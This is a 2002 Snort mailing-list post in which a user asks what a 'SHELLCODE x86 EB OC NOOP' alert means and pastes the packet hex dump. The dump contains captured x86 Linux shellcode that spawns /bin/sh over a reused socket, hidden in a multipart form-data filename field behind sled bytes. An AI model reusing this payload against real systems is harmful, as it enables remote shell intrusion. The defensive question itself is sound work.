Snort mailing list archives

SHELLCODE x86 EB OC NOOP


From: "Tony" <tandcwong () attbi com>
Date: Sun, 21 Apr 2002 13:22:55 -0700

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Can someone please explain what the following is in alerts?

SHELLCODE x86 EB OC NOOP

I am getting a ton of them. 

the dump is:

length = 1448

000 : 31 DB F7 E3 B0 02 CD 80 0B C0 74 05 33 C0 40 CD  
1.........t.3.@.
010 : 80 31 DB F7 E3 B0 02 CD 80 0B C0 74 05 33 C0 40  
.1.........t.3.@
020 : CD 80 31 DB F7 E3 43 8B CB B0 30 CD 80 31 DB F7  
..1...C...0..1..
030 : E3 B0 1B CD 80 60 89 E2 6A 20 54 52 31 C9 51 59   .....`..j
TR1.QY
040 : 41 51 89 E1 6A 06 5B 6A 66 58 CD 80 09 C0 75 EF  
AQ..j.[jfX....u.
050 : 8B 02 F7 D8 3D FE FF FF AF 75 E4 5B 31 C9 6A 3F  
....=....u.[1.j?
060 : 58 CD 80 FE C1 B0 3F CD 80 FE C1 B0 3F CD 80 B0  
X.....?.....?...
070 : 0B 99 52 68 6E 2F 73 68 68 2F 2F 62 69 89 E3 52  
..Rhn/shh//bi..R
080 : 53 89 E1 60 6A 04 58 99 68 E0 30 B4 F5 5F F7 DF  
S..`j.X.h.0.._..
090 : 57 68 20 32 32 30 68 2F 31 2E 31 68 48 54 54 50   Wh
220h/1.1hHTTP
0a0 : 89 E1 31 DB B2 10 CD 80 58 58 58 58 61 CD 80 2D  
..1.....XXXXa..-
0b0 : 2D 68 15 0D 0A 43 6F 6E 74 65 6E 74 2D 44 69 73  
- -h...Content-Dis
0c0 : 70 6F 73 69 74 69 6F 6E 3A 20 66 6F 72 6D 2D 64   position:
form-d
0d0 : 61 74 61 3B 20 6E 61 6D 65 3D 22 CC CC CC CC CC   ata;
name=".....
0e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
0f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
100 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
110 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
120 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00  
................
130 : 00 00 00 99 FF FF FF 3C F5 FF BF 4C F5 FF BF CC  
.......<...L....
140 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
150 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
160 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
170 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
180 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
190 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
1a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
1b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
1c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
1d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
1e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
1f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
200 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
210 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
220 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
230 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
240 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
250 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
260 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
270 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
280 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
290 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
2a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
2b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
2c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
2d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
2e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
2f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
300 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
310 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
320 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
330 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
340 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
350 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
360 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
370 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
380 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
390 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
3a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
3b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
3c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
3d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
3e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
3f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
400 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
410 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
420 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
430 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
440 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
450 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
460 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
470 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
480 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
490 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
4a0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
4b0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
4c0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
4d0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
4e0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
4f0 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
500 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
510 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
520 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
530 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
540 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
550 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
560 : CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC  
................
570 : CC CC CC CC CC CC CC 22 3B 20 66 69 6C 65 6E 61   .......";
filena
580 : 6D 65 3D 22 EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C  
me="............
590 : EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C  
................
5a0 : EB 0C EB 0C EB 0C EB 0C                           ........

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Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBPMMfnD+r8aZilb4WEQJB5QCgvUd9qw73ZT1VpSfQb5/wmxH3YUcAoPVz
SBvKdjeyua20dGQloGpaSt4X
=02S6
-----END PGP SIGNATURE-----



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